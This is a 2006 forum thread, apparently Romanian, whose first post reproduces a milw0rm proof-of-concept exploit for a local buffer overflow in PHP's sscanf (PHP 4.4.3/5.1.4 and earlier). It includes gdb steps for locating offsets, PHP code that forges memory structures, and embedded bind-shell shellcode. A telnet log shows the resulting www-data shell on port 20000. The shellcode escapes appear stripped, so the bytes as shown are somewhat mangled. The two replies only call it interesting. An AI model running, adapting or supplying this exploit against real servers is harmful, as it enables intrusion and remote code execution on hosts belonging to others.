ghici Posted August 16, 2006 Report Share Posted August 16, 2006 <?/*********************************************************** * hoagie_php_sscanf.php * PHP <= 4.4.3 / 5.1.4 local buffer overflow exploit * * howto get offsets: * (set $base_addr to 0x41414141) * # ulimit -c 20000 * # /etc/init.d/apache restart * (execute script via web browser) * # tail /var/log/apache/error.log * ... * [Wed Aug 16 15:07:10 2006] [notice] child pid 28222 exit signal Segmentation fault (11), possible coredump in /tmp * ... * $ gdb /usr/sbin/apache /tmp/core * ... * ... * #0  0x40422b2d in php_sscanf_internal () from /usr/lib/apache/1.3/libphp4.so * (gdb) x/250 $edx * ... * 0x83ae16c:    0x41414141    0x41414141    0x41414141    0x41414141 * 0x83ae17c:    0xdeadbabe    0x41414145    0x4141415d    0x00000001 *                 ^^^^^^^^^^ *                 start of our buffer (0x83ae180) = $base_addr * 0x83ae18c:    0x00000008    0x4141415d    0x0833d248    0x00000400 * 0x83ae19c:    0x909006eb    0x90909090    0xe3f7db31    0x435366b0 *                         ^^^^^^^^^^ *                         start of shell code (0x83ae1a4) * 0x83ae1ac:    0x89534353    0x80cd4be1    0x6652c789    0x43204e68 * 0x83ae1bc:    0xe1895366    0xd0f6efb0    0x89575150    0xcd66b0e1 * 0x83ae1cc:    0x4366b080    0x5080cd43    0xe1895750    0xcd66b043 * 0x83ae1dc:    0x89d98980    0x2c6fb0c3    0x80cd4930    0x51f6e241 * 0x83ae1ec:    0x732f6e68    0x2f2f6868    0xe3896962    0xe1895351 * 0x83ae1fc:    0xd0f6f4b0    0x414180cd    0x41414141    0x41414141 * 0x83ae20c:    0x41414141    0x41414141    0x41414141    0x41414141 * ... * (gdb) quit * # * (change $base_addr in exploit and now call url again) * # gdb /usr/sbin/apache /tmp/core * #0  0x40475e73 in _efree () * from /usr/lib/apache/1.3/libphp4.so * (gdb) x/4w $ebp * 0xbfffb018:   0xbfffb038    0x40484241    0x0812a2f4    0xbfffb038 *                 ^^^^^^^^^^ *                 return address (return address location = 0xbfffb01c) * (change $rec_log in exploit and call url again) * $ telnet 127.0.0.1 20000 * Trying 127.0.0.1... * Connected to localhost. * Escape character is '^]'. * id; * uid=33(www-data) gid=33(www-data) groups=33(www-data) * exit; * Connection closed by foreign host. * $ * * NOTE: Because of PHP memory allocation this exploit depends on filename, pathname *    content etc... (because each line/byte will change emalloc() behavior * * Credits: Heintz (discovered this bug) *      BigHawk (bind shell code) *      Greuff (void.at) * * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF- * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY * DAMAGE DONE USING THIS PROGRAM. * * VOID.AT Security * [email]andi@void.at[/email] * [url]http://www.void.at[/url] * ************************************************************/  /* base_addr for buffer in memory */  $base_addr = 0x812a260;  $base_addr_fill = 0x16;  /* byte 0 = fill up, byte 1 = refcount, byte 2 = is_ref, byte 3 = type */  $zval_attr = 0x00000008;  /* will be overwritten to execute our shellcode */  $ret_loc = 0xbfffb01c;  /* just for searching */  $pattern = 0xdeadbabe;  function long2str($addr) {    return pack("V", $addr);  }  $data =    /* fill up memory */      str_repeat(long2str($base_addr), $base_addr_fill) .      /* pattern */      long2str($pattern) .    /* current = base_addr */  long2str($base_addr + 0x4) .      /* *current = _zval_struct */  /* _zval_struct */  /* _zvalue_value */  /* _zvalue_value.str.val */      long2str($base_addr + 0x10 + 0xc) .  /* _zvalue_value_str.len */  long2str(0x00000001) .  /* _zval_struct.type, _zval_struct.is_ref, _zval_struct.refcount */      long2str($zval_attr) .  /* _zend_mem_header */  /* _zend_mem_header.pNext = start of shellcode  */      long2str($base_addr + 28) .  /* _zend_mem_header.pLast */      long2str($ret_loc) .  /* zend_mem_header.size, zend_mem_header.cached */  long2str(0x000000400) .  /* jump over next six bytes */  "xebx06x90x90" .  /* this bytes will be overwritten by efree() */  "x90x90x90x90" .  /* shell code starts here -   * BigHawk bind() version - just a little update to get rid   * of 0x3f   */  "x31xdbxf7xe3xb0x66x53x43x53x43x53x89xe1x4bxcd" .  "x80x89xc7x52x66x68x4ex20x43x66x53x89xe1xb0xef" .  "xf6xd0x50x51x57x89xe1xb0x66xcdx80xb0x66x43x43" .  "xcdx80x50x50x57x89xe1x43xb0x66xcdx80x89xd9x89" .  "xc3xb0x6fx2cx30x49xcdx80x41xe2xf6x51x68x6ex2f" .  "x73x68x68x2fx2fx62x69x89xe3x51x53x89xe1xb0xf4" .  "xf6xd0xcdx80" .  /* fill up memory */  str_repeat(long2str($base_addr), $base_addr_fill);  /* fill up memory with emalloc() for sscanf() */  quotemeta($data);  /* trigger exploit */  sscanf($data, '%1$s', $str);?># milw0rm.com [2006-08-16] Quote Link to comment Share on other sites More sharing options...
RapGame Posted August 16, 2006 Report Share Posted August 16, 2006 acu am vazut si eu pe milw0rm .. interesant o sa ma uit mai tarziu prin el ... Quote Link to comment Share on other sites More sharing options...
zbeng Posted August 16, 2006 Report Share Posted August 16, 2006 interesant ghici Quote Link to comment Share on other sites More sharing options...
